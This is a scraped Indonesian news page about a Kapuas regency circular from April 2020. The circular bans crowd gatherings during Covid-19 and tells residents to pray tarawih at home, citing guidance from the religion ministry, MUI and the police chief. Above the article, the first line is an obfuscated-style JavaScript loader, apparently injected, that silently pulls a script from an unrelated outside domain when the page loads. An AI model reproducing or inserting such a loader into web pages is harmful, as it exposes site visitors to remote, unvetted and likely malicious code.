(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Pemkab Kapuas Keluarkan Surat Edaran Larangan Pengumpulan Orang Banyak


KANALKALIMANTAN. COM, KUALA KAPUAS – Pemerintah Kabupaten (Pemkab) Kapuas melalui Gugus Tugas Percepatan Penanganan Covid-19 menerbitan surat edaran tentang larangan mengumpulkan orang banyak.
Surat Edaran (SE) bernomor 360/30/Gugus-Covid/Kps.2020 tetanggal 27 April 2020 tersebut menegaskan kembali agar pengurus masjid dan langgar di wilayah Kabupaten Kapuas menaati Edaran Menteri Agama RI tentang panduan ibadah Ramadhan dan Idul Fitri di tengah pandemi wabah Covid-19, di mana dalam salah satu poinnya menyebutkan shalat tarawih dilakukan di rumah saja.

Juru Bicara Gugus Tugas Percepatan Penanganan Covid-19 Kapuas Dr H Junaidi mengatakan, tujuan surat edaran tersebut demi keselamatan dan kesehatan masyarakat Kapuas, maka dianjurkan tetap di rumah saja.
“Jika pun terpaksa harus keluar rumah gunakan masker dan rutin mencuci tangan menggunakan air mengalir. Kita dianjurkan mengkonsumsi makanan bergizi serta istirahat yang cukup,” kata H Junaidi, Rabu (29/4/2020).

Dilanjutkannya, surat edaran tersebut juga mengingatkan kembali agar mentaati fatwa Majelis Ulama Indonesia (MUI) terkait wabah saat ini.

“Yaitu Fatwa Majelis Ulama Indonesia tentang penyelenggaraan ibadah dalam situasi terjadi wabah Covid-19 saat ini,” imbuh Kepala Diskominfo Kapuas ini.
Pada poin 4 menyebutkan “Dalam kondisi penyebaran Covid-19 tidak terkendali di suatu kawasan yang mengancam jiwa, umat Islam tidak boleh menyelenggarakan shalat Jum’at di kawasan tersebut, sampai keadaan menjadi normal kemball dan wajlb menggantikannya dengan shalat Zuhur di tempat masing-masing.
Demikian juga tidak boleh menyelenggarakan aktifitas ibadah yang melibatkan orang banyak dan dapat menjadi media penyebaran Covid-19, seperti jemaah sholat lima waktu rawatib, shalat tarawih, dan led di mesjid atau tempat umum lainnya, serta menghadiri pengajian umum dan majelis taklim.
“Jadi kita kembali mengingatkan adanya panduan ibadah Ramadhan di tengah pandemi Covid-19 yang telah dikeluarkan Kementerian Agama RI serta MUI Pusat,” jelasnya.

Ketua Harian Gugus Tugas Percepatan Penanganan Covid-19, Panahatan Sinaga SH menambahkan, surat edaran tersebut juga memuat agar masyarakat mentaati Maklumat Kapolri tentang kepatuhan terhadap kebijakan pemerintah dalam penanganan penyebaran virus corona.
Pada point nomor 3 menyebutkan bahwa apa bila ditemukan perbuatan yang bertentangan dengan maklumat Kapolri, maka setiap anggota Polri wajib melakukan tindakan kepolisian yang diperlakukan sesuai ketentuan peraturan parundang-undangan yang berlaku. (kanalkalimantan.com/ags)

 

Reporter : Ags
Editor : Bie

 


Desy Arfianty

Recent Posts

Peresmian Masjid Raya Syekh Muhammad Arsyad Al-Banjari Ditarget pada Agustus 2024

KANALKALIMANTAN.COM, BANJARBARU - Melalui Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Pemerintah Provinsi Kalimantan Selatan… Read More

4 jam ago

Minus PPP, Upaya Lisa Halaby Cari Parpol Pengusung Berakhir di PDI P

KANALKALIMANTAN.COM, BANJARBARU - Figur non partai politik (Parpol) Lisa Halaby menutup lawatan politik ke Partai… Read More

5 jam ago

Evaluasi Aplikasi Smart Kampung Manis, DKISP Banjar Gelar Rakor

KANALKALIMANTAN.COM, MARTAPURA - Rapat koordinasi (rakor) Aplikasi Smart Kampung Manis, digelar Dinas Komunikasi Informatika Statistik… Read More

5 jam ago

Lepas Keberangkatan Jemaah Haji Asal Kabupaten Banjar, Ini Pesan Plt Kabag Kesra

KANALKALIMANTAN.COM, MARTAPURA - Jemaah calon haji asal Kabupaten Banjar yang berjumlah 97 orang dan ditambah… Read More

5 jam ago

Dansatgas TMMD Tinjau Kebun Tanaman Holtikultura Desa Karias Dalam

KANALKALIMANTAN.COM, AMUNTAI – Di tengah pelaksanaan program TNI Manunggal Membangun Desa (TMMD) ke-120, Komandan Kodim… Read More

5 jam ago

Air Zamzam Jemaah Haji Embarkasi Banjarmasin Tiba di Asrama Haji

KANALKALIMANTAN.COM, BANJARBARU - Ribuan galon air zamzam yang diperuntukan bagi jemaah haji Embarkasi Banjarmasin tahun… Read More

7 jam ago

This website uses cookies.